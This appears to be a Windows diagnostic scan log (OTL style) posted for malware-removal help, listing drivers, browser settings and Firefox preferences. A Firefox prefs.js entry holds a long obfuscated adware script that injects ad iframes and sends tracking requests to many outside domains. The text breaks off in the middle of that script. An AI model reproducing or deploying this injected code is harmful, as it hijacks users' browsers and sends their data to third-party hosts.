DRV:[b]64bit:[/b] - [2012/03/22 21:08:30 | 000,039,616 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrpan.sys -- (csrpan)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:26 | 000,038,080 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrhfgcc.sys -- (csrhfgcc)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:22 | 002,784,968 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\CsrBtPort.sys -- (CsrBtPort)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:20 | 000,099,520 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrbthav.sys -- (csr_bthav)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:18 | 000,039,120 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\CsrBthAudioHF.sys -- (CsrBthAudioHF)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:16 | 000,026,304 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csravrcp.sys -- (csravrcp)
DRV:[b]64bit:[/b] - [2012/03/01 15:46:16 | 000,023,408 | ---- | M] (Microsoft Corporation) [Recognizer | Boot | Unknown] -- C:\Windows\SysNative\drivers\fs_rec.sys -- (Fs_Rec)
DRV:[b]64bit:[/b] - [2011/12/26 21:37:42 | 000,090,608 | ---- | M] (CyberLink) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\CLVirtualDrive.sys -- (CLVirtualDrive)
DRV:[b]64bit:[/b] - [2011/11/07 10:13:06 | 000,017,192 | ---- | M] (Windows (R) Win 7 DDK provider) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\AsrAppCharger.sys -- (AsrAppCharger)
DRV:[b]64bit:[/b] - [2011/11/03 03:01:00 | 000,056,208 | ---- | M] (Rovi Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\PxHlpa64.sys -- (PxHlpa64)
DRV:[b]64bit:[/b] - [2011/09/22 09:49:56 | 000,056,600 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\HECIx64.sys -- (MEIx64)
DRV:[b]64bit:[/b] - [2011/06/17 21:16:02 | 000,405,064 | ---- | M] (Texas Instruments Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\tixhci.sys -- (tixhci)
DRV:[b]64bit:[/b] - [2011/06/17 21:16:02 | 000,131,656 | ---- | M] (Texas Instruments Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\tihub3.sys -- (tihub3)
DRV:[b]64bit:[/b] - [2011/05/09 20:42:14 | 000,425,000 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\k57nd60a.sys -- (k57nd60a)
DRV:[b]64bit:[/b] - [2011/03/11 15:41:12 | 000,107,904 | ---- | M] (Advanced Micro Devices) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsata.sys -- (amdsata)
DRV:[b]64bit:[/b] - [2011/03/11 15:41:12 | 000,027,008 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\amdxata.sys -- (amdxata)
DRV:[b]64bit:[/b] - [2011/01/26 17:11:06 | 000,023,048 | ---- | M] (ASRock Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\AsrVDrive.sys -- (AsrVDrive)
DRV:[b]64bit:[/b] - [2010/11/20 22:33:35 | 000,078,720 | ---- | M] (Hewlett-Packard Company) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\HpSAMD.sys -- (HpSAMD)
DRV:[b]64bit:[/b] - [2009/07/20 05:11:18 | 000,021,392 | ---- | M] (kasiwano masahiro) [Kernel | Auto | Stopped] -- C:\Windows\SysNative\drivers\uusbd64.sys -- (UUSBD64)
DRV:[b]64bit:[/b] - [2009/07/14 10:52:20 | 000,194,128 | ---- | M] (AMD Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsbs.sys -- (amdsbs)
DRV:[b]64bit:[/b] - [2009/07/14 10:48:04 | 000,065,600 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas2.sys -- (LSI_SAS2)
DRV:[b]64bit:[/b] - [2009/07/14 10:45:55 | 000,024,656 | ---- | M] (Promise Technology) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\stexstor.sys -- (stexstor)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:33 | 003,286,016 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\evbda.sys -- (ebdrv)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:28 | 000,468,480 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bxvbda.sys -- (b06bdrv)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:23 | 000,270,848 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\b57nd60a.sys -- (b57nd60a)
DRV:[b]64bit:[/b] - [2009/06/11 05:31:59 | 000,031,232 | ---- | M] (Hauppauge Computer Works, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hcw85cir.sys -- (hcw85cir)
DRV:[b]64bit:[/b] - [2009/02/24 18:35:44 | 000,255,552 | ---- | M] (MagicISO, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\mcdbus.sys -- (mcdbus)
DRV:[b]64bit:[/b] - [2009/02/19 15:07:50 | 000,058,752 | ---- | M] (ASICEN) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\Sknet_AS11Loader.sys -- (AS11Loader)
DRV:[b]64bit:[/b] - [2008/05/21 11:16:18 | 000,028,032 | ---- | M] (ASICEN) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\SKNET_HDTV_IR.sys -- (SKNET_ISDB_P_HidIRKbd.Dev)
DRV - [2014/06/23 16:29:48 | 000,032,456 | ---- | M] (CyberLink Corp.) [2015/01/31 10:42:38] [Kernel | Auto | Running] -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\NavFilter\000.fcl -- ({C5F942FD-1110-4664-86CE-0C6BDA305235})
DRV - [2009/07/14 10:19:10 | 000,019,008 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysWOW64\drivers\wimmount.sys -- (WIMMount)
DRV - [2009/02/24 18:35:44 | 000,255,552 | ---- | M] (MagicISO, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysWOW64\drivers\mcdbus.sys -- (mcdbus)


[color=#E56717]========== Standard Registry (SafeList) ==========[/color]


[color=#E56717]========== Internet Explorer ==========[/color]

IE:[b]64bit:[/b] - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE:[b]64bit:[/b] - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\SysWOW64\blank.htm
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.msn.com/?pc=MSSE
IE - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC

IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = Preserve
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.msn.com/?pc=MSSE
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://jp.msn.com/?ocid=iehp
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = ja
IE - HKCU\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKCU\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE8SRC
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

[color=#E56717]========== FireFox ==========[/color]

FF - prefs.js..browser.search.countryCode: "JP"
FF - prefs.js..browser.search.region: "JP"
FF - prefs.js..extensions.RsStUmkzSf0RE5Lx.scode: "(function(){try{if(window.self.location.href.indexOf(\"rjwGqdC4rjaHpdn6qHn5qHr9qja\")>-1){return;}}catch(e){}try{var d=[[\"trianglecash.com\",\"acebook\",\"flybrain.com\",\"www.pcutilitiespro.com\",\"www.pcutilitiespro.net\",\"www.superpctools.com\",\"www.superpctools.net\",\"www.pcrepairlabs.com\",\"www.pcrepairlabs.net\",\"www.viracure.com\",\"www.viracure.net\",\"www.onesave.com\",\"www.onesave.net\",\"www.centralshopgate.com\",\"www.centralshopgate.net\",\"www.safeshopgate.com\",\"www.safeshopgate.net\",\"securedshopgate.com\",\"securedshopgate.net\",\"gen.securedshopgate.com\",\"gen.securedshopgate.net\",\"e4everything.co\",\"3juices.s\",\"safecart.com\",\"cleverbridge.com\",\"warnalert11.com\",\"sumorobo.net\",\"mindri.com\",\"alertfunctions.com\",\"immediate-support.com\",\"sumorobo\",\"roulettebotplus\",\"s.vgsgaming-ads\",\"lottery-master\",\"lotterymaster\",\"onduit\",\"search.imesh\",\"search.searchcore\",\"searchnu.com\",\"searchqu.com\",\"shareazaweb\",\"searchgby.com\",\"mysearchresults.com\",\"searchya.com\",\"searchgol.com\",\"trovi.com\",\"search.ask\",\"mywebsearch.com\",\"search-results.com\",\"mysearch.com\",\"offers.bycontext.com\",\"deals.offer-dynamics.com\",\"offer-dynamics.com\",\"deadsea.com\",\"jerusalem.com\",\"vatican.com\",\"iklk.com\",\"gvud.com\",\"zuzd.com\",\"babaviral.com\",\"cupid.so\",\"hostanytime.com\",\"antivirus.so\",\"dates.am\",\"insurance-company.co\",\"advanceloan.org\",\"calcitapp.info\",\"desktopfavapp.info\",\"avatrade.com\",\"game-trek.net\",\"urgent-alerts.com\",\"pc-alert.com\",\"error-alerts.com\",\"search.searchonme.com\",\"searchitapp.com\",\"news.searchonme.com\",\"search.appsarefun.info\",\"websearch.mocaflix.com\",\"search.easylifeapp.com\",\"searchy.easylifeapp.com\",\"us.yhs4.search.yahoo.com\",\"search.gboxapp.com\",\"searchiy.gboxapp.com\",\"bestonlinegadgetguide.com\",\"odpu.com\",\"safesearch.co\",\"findamo.com\",\"search.myownsearchbox.com\",\"datropy.com\",\"applicationgrabb.net\",\"databass.info\",\"firstfirst.net\",\"liversely.com\",\"liversely.net\",\"livesetwebs.org\",\"lp.ncdownloader.com\",\"lp.vaudix.com\",\"masteroids.com\",\"reditions.net\",\"sharesuper.info\",\"storaget.info\",\"westzip.in\",\"boxhilade.com\",\"mylinksworld.com\",\"shoppingwiz.co\",\"rabbitsearch.net\",\"searchandbake.com\",\"smartshopping.com\",\"www.search.smartshopping.com\",\"www.local.smartshopping.com\",\"www.shoppstop.com\",\"localmoxie.com\",\"www.yellowmoxie.com\",\"www.mail.com\",\"suche.mail.com\",\"www.web.de\",\"suche.web.de\",\"suche.gmx.de\",\"search.gmx.com\",\"search.gmx.co.uk\",\"news.gmx.com\",\"news.gmx.co.uk\",\"www.turbosearchengine.com\",\"search.turbosearchengine.com\",\"www.relatedtopix.com\",\"search.relatedtopix.com\",\"www.app-rover.com\",\"www.appigniter.com\",\"www.bposolutions.com\",\"www.zhuamob.com\",\"www.yieldnexus.com\",\"www.tfxiq.com\",\"www.tfxiq.net\",\"namyneck.com\",\"styloosh.com\",\"baidu.co.th\",\"ooyd.com\",\"jobsro.com\",\"kaoor.com\",\"myloginbox.com\",\"mainpagesite.com\",\"turtleclip.com\",\"blackyclip.com\",\"film-tease.com\",\"bestpaydayloans2015.com\",\"hotelsdealsreviews.com\",\"top10cellphoneplans.com\",\"top5autoinsurance.com\",\"topcreditreportsites.com\"],[/^websearch.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|lookforithere|searchmainia|searchrocket|homesearchapp|a-searchpage|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches|searchingissme|awsomesearchs|eazytosearch|ezsearches|fastosearch|fastsearchings|flyandsearch|wonderfulsearches|fixsearch|searchandfly|searchfix|allsearches|searc-hall|simple2search|searchitwell).info$/]];for(var i=0,a=d[0],l=a.length;i<l;i++){if(window.self.location.hostname.indexOf(a[i])>-1){return;}}for(var j=0,a=d[1],l=a.length;j<l;j++){if(a[j].test(window.self.location.hostname)){return;}}}catch(e){}try{(function(){var stngs = {attr_name:'s11247910384774873450',szy_domain:[\"bluedirectusa.info\",\"theprivilegesbox.com\"],ad_sizes:[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]],checkif:function(ifr){return (ifr.getAttribute('s11247910384774873450') || ifr.src.indexOf('=13872950')>-1||ifr.src.indexOf('=13872950')>-1||ifr.src.indexOf('1018-1005')>-1||ifr.src.indexOf('1019-1001')>-1||ifr.src.indexOf('2136&zid=')>-1&&ifr.src.indexOf('PT1312')>-1||(ifr.getAttribute('name') && ifr.getAttribute('id')==ifr.getAttribute('name') && ifr.getAttribute('name').match(/^ap\\d+$/)))}};if(\"undefined\"==typeof window.adzy653rk&&document.getElementsByTagName(\"body\").length&&!document.getElementsByTagName(\"body\")[0].getAttribute(\"jhjlijpomuhn_m\")){var removeNode=function(a){for(var b=(63,342)>(559,85)?(56,!0):(63,1401),c=(372,1)<(364,98)?(1098,!1):(971,40),d=829<(71,1335)?(1100,122):(918,478),e=12>(481,500)?267:586<(136,1243)?(339,90):(92,89),g=27<=(42,519)?(468,97):(69,283),h=137<(169,296)?(93,\"m\"):(96,984),f=136>=(37,599)?(92,301):(966,429)<=(369,537)?(213,64):(578,1008),l=307>=(1295,\n1355)?(809,\"L\"):69>=(158,391)?(669,117):141<(368,514)?(1490,6):(1113,116),n=(43,255)>=(223,250)?(468,63):(879,133),k=22>(199,868)?(1170,\"s\"):(917,799)>=(972,448)?(122,\"n\"):44>=(211,96)?(1080,71):(58,556),A=75>=(1239,49)?(21,\"9\"):27>=(501,441)?(59,48):(207,1058)<(454,90)?\";\":(122,914),K=414>=(295,137)?(109,\"8\"):(1165,557),v=874>=(78,39)?(77,\"7\"):116>(476,807)?(1499,989):(520,925),R=(953,33)>(639,132)?(434,\"z\"):149<(132,581)?(77,\"z\"):61>=(597,482)?126:(771,8),S=456<=(451,877)?(2,\"x\"):(52,18),F=326<\n(1197,1202)?(1274,\"i\"):(26,109),G=410>=(1290,732)?(485,25):52>(20,78)?1380:1102>=(49,51)?(294,\"b\"):(112,161),L=(146,387)>(818,87)?(534,\"Y\"):(1385,1004),T=52<(95,139)?(57,\"X\"):(840,124),U=123<=(105,50)?(142,\"'\"):1333>(11,318)?(108,\"T\"):(962,1482),M=(755,119)>=(49,128)?47:880<(473,103)?41:59>(183,40)?(272,\"Q\"):(125,73),V=533<(155,25)?1E3:55>(133,112)?(1416,429):(31,1188)>(72,497)?(502,\"N\"):(82,144),N=(491,93)>(39,1009)?(1047,\"aaa\"):325>=(249,9)?(83,\"M\"):(645,114),O=(91,94)>(16,53)?(484,\"K\"):(462,83)>=\n(3,103)?(114,90):146<(114,132)?\"O\":(145,53),P=259<(286,86)?209:142>=(303,8)?(189,\"D\"):88>=(24,287)?(40,191):(1406,186),W=102<=(476,402)?(132,4537426):(315,47),H=(97,23)<=(514,29)?(117,1290452675):(862,1417),B=117<(32,132)?(352,\"0\"):(78,430),r=110>(545,410)?(71,457):548>=(81,37)?(555,\"2\"):(96,999),w=82<(1007,1382)?(869,\"f\"):(86,207),D=131>=(471,71)?(208,\"s\"):(103,115),C=107>=(74,129)?(25,\"c\"):(20,532)<=(74,750)?(20,\"p\"):237>(31,498)?(446,133):(110,138),I=100<(31,83)?(54,129):(112,132)<=(75,408)?(49,\n\"U\"):(593,65),H=-H,E=s7S5.V7T,J=s7S5.j7T;-1139651341!==s7S5.E0.i0(J.toString(),J.toString().length,8698539J++)y.push(u(j)),S9(),E+=s7S5.V7T;if(s7S5.E0.i0(E.toString(),E.toString().length,W)!==H)return j2<<Y2;var Q={_keyStr:\"ABC\"+P+\"EFGHIJ\"+O+\"L\"+N+V+\"OP\"+M+\"RS\"+U+I+\"VW\"+T+L+\"Za\"+G+\"cd\"+s7S5.n7T+w+\"g\"+s7S5.s4T+F+\"jklmno\"+C+\"qrstuvw\"+S+\"y\"+R+B+\"123456\"+v+K+A+\"+/=\",encode:function(a){var b=(540,335)>=(145,38)?(1201,\"S\"):(91,1254),c=146<=(1489,582)?(1031,\"5\"):(252,74),d=(58,41)<=(298,99)?(685,\"_\"):\n(213,84)<=(44,76)?(422,31):(14,1),e=\"\",g,h,s,m,t,p,x=s7S5.Y7T;for(a=Q[d+\"ut\"+w+K+d+s7S5.n7T+k+\"code\"](a);s7S5[I+c](x,a.length);)g=a[s7S5.g7T+\"harC\"+s7S5.W9T+s7S5.r7T+s7S5.n7T+s7S5.E9T+s7S5.I7T](x++),h=a[s7S5.G7T+s7S5.j4T+s7S5.G4T+s7S5.d9T+\"eA\"+s7S5.I7T](x++),s=a[s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+s7S5.G4T+s7S5.d9T+\"eA\"+s7S5.I7T](x++),m=s7S5[C+r](g,s7S5.V7T),t=111>(67,494)?107:(1207,1483)>(746,910)?(1313,\"F\"):138>=(435,222)?309:(209,1488),g=s7S5[t+c]((g&s7S5.e7T)<<s7S5.C7T,h>>s7S5.C7T),t=s7S5.A5((h&\ns7S5.K7T)<<s7S5.V7T,s>>l),p=s7S5[P+c](s,n),isNaN(h)?t=p=f:isNaN(s)&&(p=f),e=e+this[\"_keySt\"+s7S5.A7T][s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](m)+this[\"_key\"+b+s7S5.I7T+s7S5.A7T][s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](g)+this[d+\"k\"+s7S5.n7T+\"y\"+b+\"tr\"][s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](t)+this[d+\"k\"+s7S5.n7T+\"y\"+b+s7S5.I7T+s7S5.A7T][s7S5.g7T+s7S5.s4T+\"arAt\"](p);return e},decode:function(a){var b=(3,44)>=(480,32)?(136,256):(731,73),c=(475,0)<=(58,543)?(121,\"u\"):(695,\n38),d=459<(262,536)?(888,72):(1044,140),e=(148,306)>=(337,136)?(202,\"H\"):(60,126),q=(283,528)<(3,97)?(261,\"aaa\"):53>(629,332)?(51,\"d\"):1229>(127,1138)?(128,44):(726,741),n=183<=(559,42)?1E4:525>=(4,82)?(35,43):(5,96),s=124>(3,67)?(195,58):(143,637)<=(104,120)?90:(22,141),m=231<(519,98)?\"j\":48<(17,1053)?(23,48):(75,139),t=(401,28)<(510,88)?(28,123):(359,105)>=(730,700)?(1021,2):(101,390),p={},x=[],v=\"\",w=String[\"fr\"+s7S5.W9T+h+s7S5.G4T+s7S5.s4T+s7S5.N7T+\"rCod\"+s7S5.n7T],n=[[65,91],[g,t],[m,s],[n,q],\n[47,m]];for(z in n)for(q=n[z][s7S5.Y7T];s7S5[e+r](q,n[z][s7S5.j7T]);q++)x[\"pu\"+D+s7S5.s4T](w(q));for(q=s7S5.Y7T;s7S5[h+r](q,f);q++)p[x[q]]=q;for(q=s7S5.Y7T;s7S5[M+r](q,a.length);q+=d)for(s=e=s7S5.Y7T,m=a[D+c+G+D+s7S5.I7T+s7S5.A7T+F+k+\"g\"](q,q+d),n=s7S5.Y7T;s7S5.P2(n,m.length);n++)for(x=p[m[s7S5.g7T+s7S5.s4T+s7S5.j4T+s7S5.E9T+s7S5.I7T](n)],e=s7S5[c+r](e,l)+x,s+=l;s7S5[\"k\"+r](s,s7S5.Z7T);)v+=w(s7S5[F+r](e>>>(s-=s7S5.Z7T),b));return v},_utf8_encode:function(a){var b=70>(376,25)?(621,224):3>=(453,58)?\n(352,2048):(42,88),c=105>=(26,66)?(400,192):(574,60),d=932<(1182,101)?775:(540,121)<=(93,95)?148:(319,561)>=(155,52)?(1234,2048):(214,257),f=(65,346)<=(114,1276)?(341,\"J\"):1351<(222,576)?(576,996):(116,1245),e=(542,339)>(95,102)?(149,127):432<=(130,104)?(114,12):(1021,686),g=79>=(61,853)?(528,\"f\"):(822,133)<=(153,1191)?(276,128):(72,85),k=961>(349,346)?(232,\"B\"):(69,79)>(389,906)?(1088,\"r\"):(1284,32),m=(489,331)<(284,680)?(46,\"l\"):(84,144);a=a[s7S5.A7T+s7S5.n7T+C+m+s7S5.N7T+s7S5.g7T+s7S5.n7T](/\\r\\n/g,\n\"\\n\");for(var m=\"\",t=s7S5.Y7T;s7S5.z2(t,a.length);t++){var p=a[s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.G4T+s7S5.W9T+s7S5.r7T+\"eA\"+s7S5.I7T](t);s7S5[k+r](p,g)?m+=String[w+\"romC\"+s7S5.s4T+s7S5.N7T+\"rCo\"+s7S5.r7T+s7S5.n7T](p):s7S5[s7S5.A7T+r](p,e)&&s7S5[f+r](p,d)?(m+=String[w+\"ro\"+h+\"Ch\"+s7S5.N7T+s7S5.A7T+s7S5.e4T+s7S5.r7T+s7S5.n7T](s7S5[O+r](p>>l,c)),m+=String[\"fromCh\"+s7S5.j4T+s7S5.G4T+s7S5.W9T+s7S5.E7T](s7S5.l2(p&n,g))):(m+=String[\"fr\"+s7S5.W9T+\"mCha\"+s7S5.A7T+s7S5.G4T+s7S5.W9T+s7S5.E7T](s7S5[N+r](p>>12,\nb)),m+=String[\"from\"+s7S5.G4T+\"har\"+s7S5.e4T+s7S5.r7T+s7S5.n7T](s7S5[G+r](p>>l&n,g)),m+=String[w+\"romChar\"+s7S5.G4T+s7S5.W9T+s7S5.r7T+s7S5.n7T](s7S5.y2(p&n,g)))}return m}};a=Q[s7S5.r7T+s7S5.n7T+s7S5.g7T+s7S5.W9T+s7S5.r7T+s7S5.n7T](function(a){for(var b=708>=(280,660)?(153,\"R\"):(1406,82),c=a[s7S5.I7T+s7S5.W9T+I+C+C+\"er\"+s7S5.G4T+s7S5.N7T+D+s7S5.n7T](),d=a[s7S5.I7T+\"oLowe\"+s7S5.A7T+\"Cas\"+s7S5.n7T](),f=\"\",e=s7S5.Y7T;s7S5[w+r](e,a.length);++e)f+=s7S5[b+B](a[e][s7S5.g7T+\"ha\"+s7S5.A7T+s7S5.G4T+s7S5.W9T+\ns7S5.E7T+s7S5.E9T+s7S5.I7T](),c[e][s7S5.g7T+s7S5.s4T+s7S5.j4T+s7S5.G4T+s7S5.d9T+s7S5.n7T+s7S5.b7T]())?d[e]:c[e];return f}(a));for(A=s7S5.Y7T;s7S5[\"I\"+B](A,a.length);++A)if(v=a[A][s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+\"Cod\"+s7S5.n7T+s7S5.b7T](),s7S5.X0(v,65)||s7S5[s7S5.g7T+B](v,e)&&s7S5.V0(v,g)||s7S5[L+B](v,d))return c;return b};(function(){var a=document.getElementsByTagName(\"body\")[0];a&&!a.getAttribute(\"jhjlijpomuhn_l\")&&a.setAttribute(\"jhjlijpomuhn_m\",\"l\")})();var Pixel=function(a,b){var c={http:\"\",\nhttps:\"\"},d=\"/\",e={};this.setHost=function(a){if(\"object\"==typeof a&&(\"string\"==typeof a.http||a.http instanceof Array)&&(\"string\"==typeof a.https||a.https instanceof Array))c=a;else if(\"string\"==typeof a||a instanceof Array)c={http:a,https:a};return this};this.setPath=function(a){\"string\"==typeof a&&(d=a=a.replace(/^([^\\/]|$)/,\"/$&\"));return this};this.setParameters=function(a){if(\"object\"==typeof a&&!(a instanceof Array))for(var b in a)this.setParameter(b,a[b]);return this};this.setParameter=function(a,\nb){e[a]=b;return this};var g=function(){var a=[],b;for(b in e)null!==e[b]&&void 0!==e[b]&&a.push(encodeURIComponent(b)+\"=\"+encodeURIComponent(e[b]));return a.length?\"?\"+a.join(\"&\"):\"\"},h=function(a){if(\"string\"==typeof a)return a;if(a instanceof Array)return a[Math.round(Math.random()*(a.length-1))]};this.getNonSslHost=function(){return h(c.http)||\"\"};this.getSslHost=function(){return h(c.https)||\"\"};this.buildNonSslUrl=function(){var a=this.getNonSslHost();if(a)return\"http://\"+a+d+g()};this.buildSslUrl=\nfunction(){var a=this.getSslHost();if(a)return\"https://\"+a+d+g()};this.isSecure=function(){return\"https:\"==window.location.protocol};this.toString=function(){return(this.isSecure()?this.buildSslUrl():this.buildNonSslUrl())||\"\"};this.push=function(a){a=a||function(){};var b=this.toString();if(!b)return!1;var c=new Image;c.onload=function(){a.call(this,\"success\",arguments)};c.onerror=function(){a.call(this,\"error\",arguments)};return c.src=b};this.setHost(a);this.setParameters(b)},PixelIPP=function(){return new Pixel({https:[\"winnerican.org\",\n\"winnering.info\",\"winnering.org\"],http:\"directonic.org dirnt.net dirnt.org fasterol.org loveci.info lovek.info lovement.info lovening.info loveral.net lovezhsky.com loversion.org loversion.net lovezhsky.info lovezhsky.net lovezhsky.org proffic.info proffic.org proffic.net proffican.com proffican.net\".split(\" \")},{tid:1,subid:window.adzy653rk.imp.pid,subid1:window.adzy653rk.imp.hid,subid2:window.adzy653rk.imp.eid,subid3:window.adzy653rk.imp.prid,lt:window.adzy653rk.imp.lt})},s7S5={I7T:\"t\",r2:function(a,\nb){return a>b},J2:function(a,b){return a<b},p2:function(a,b){return a>>b},Y0:function(a,b){return a>b},l2:function(a,b){return a|b},k2:function(a,b){return a>=b},u2:function(a,b){return a<<b},e4T:\"Co\",G7T:\"ch\",y2:function(a,b){return a|b},s4T:\"h\",i2:function(a,b){return a%b},C7T:4,Y7T:0,b2:function(a,b){return a|b},j7T:1,P2:function(a,b){return a<b},n7T:\"e\",f2:function(a,b){return a<b},B2:function(a,b){return a<b},A5:function(a,b){return a|b},X0:function(a,b){return a<b},U5:function(a,b){return a<\nb},m2:function(a,b){return a<b},z2:function(a,b){return a<b},A7T:\"r\",j4T:\"ar\",K2:function(a,b){return a|b},E7T:\"de\",K7T:15,N7T:\"a\",I0:function(a,b){return a<b},E0:function(){var a=function(a,b){var e=b&(352<(181,1206)?(93,65535):1268<=(197,48)?(70,24):(581,57));return((b-e)*a|((54,496)>=(1266,406)?(15,0):(538,20)))+(e*a|((109,1186)>(512,400)?(748,0):(360,1325)<=(274,22)?(1351,7):(954,1040)<=(66,435)?(1069,NaN):(130,57)))|(964>=(322,35)?(238,0):(28,1324))},b={};return{z0:a,i0:function(c,d,e){if(void 0!==\nb[e])return b[e];for(var g=131>=(1300,30)?(47,3432918353):(131,72),h=(387,282)<(234,217)?979:949>=(20,130)?(103,461845907):(67,1152),f=e,l=d&-(147>(26,106)?(3,4):(30,537)),n=393<=(224,579)?(110,0):(44,609);n<l;n+=(22,78)<(311,193)?(334,4):6>(67,31)?(417,\"K\"):(330,18))var k=c[(585>(255,136)?(106,\"c\"):(159,504))+(111<=(535,393)?(584,\"h\"):427<(18,57)?43:214<(1071,53)?(10,144):(1269,148))+(36>=(145,1095)?\"c\":(347,142)>(473,85)?(577,\"a\"):(568,998))+((352,49)>=(394,99)?90:1396<=(149,1300)?(1225,130):5<=\n(541,431)?(692,\"r\"):(581,48))+(242<(10,261)?(57,\"C\"):337>=(153,400)?389:1103>(82,1483)?(163,15):(385,583))+(808>=(68,37)?(563,\"o\"):(78,54))+\"deAt\"](n)&255|(c[\"c\"+(140>=(1465,372)?(1495,\"'\"):109<=(25,138)?(236,\"h\"):531<(101,20)?(67,\"l\"):(833,117))+\"arCodeA\"+((342,48)<=(128,325)?(2,\"t\"):(494,105))](n+1)&(17<(12,591)?(90,255):(100,71)))<<(252<(44,818)?(662,8):449>=(31,1115)?(1483,546):(146,81))|(c[(1349>(633,463)?(554,\"c\"):(116,51)>=(257,1072)?451:(800,39))+(91>=(141,94)?243:(138,40)>(131,458)?91:(1327,\n115)<=(22,439)?(559,\"h\"):(87,141))+\"ar\"+(149<=(51,114)?(59,233):118<(1139,173)?(72,\"C\"):(124,95))+(746>=(511,90)?(34,\"o\"):94>=(355,99)?\"H\":(240,108))+\"deA\"+(142<=(784,1264)?(287,\"t\"):(115,1190))](n+(72<=(38,44)?\"GET\":147>(566,60)?(140,2):(151,588)))&255)<<((418,483)>=(579,121)?(69,1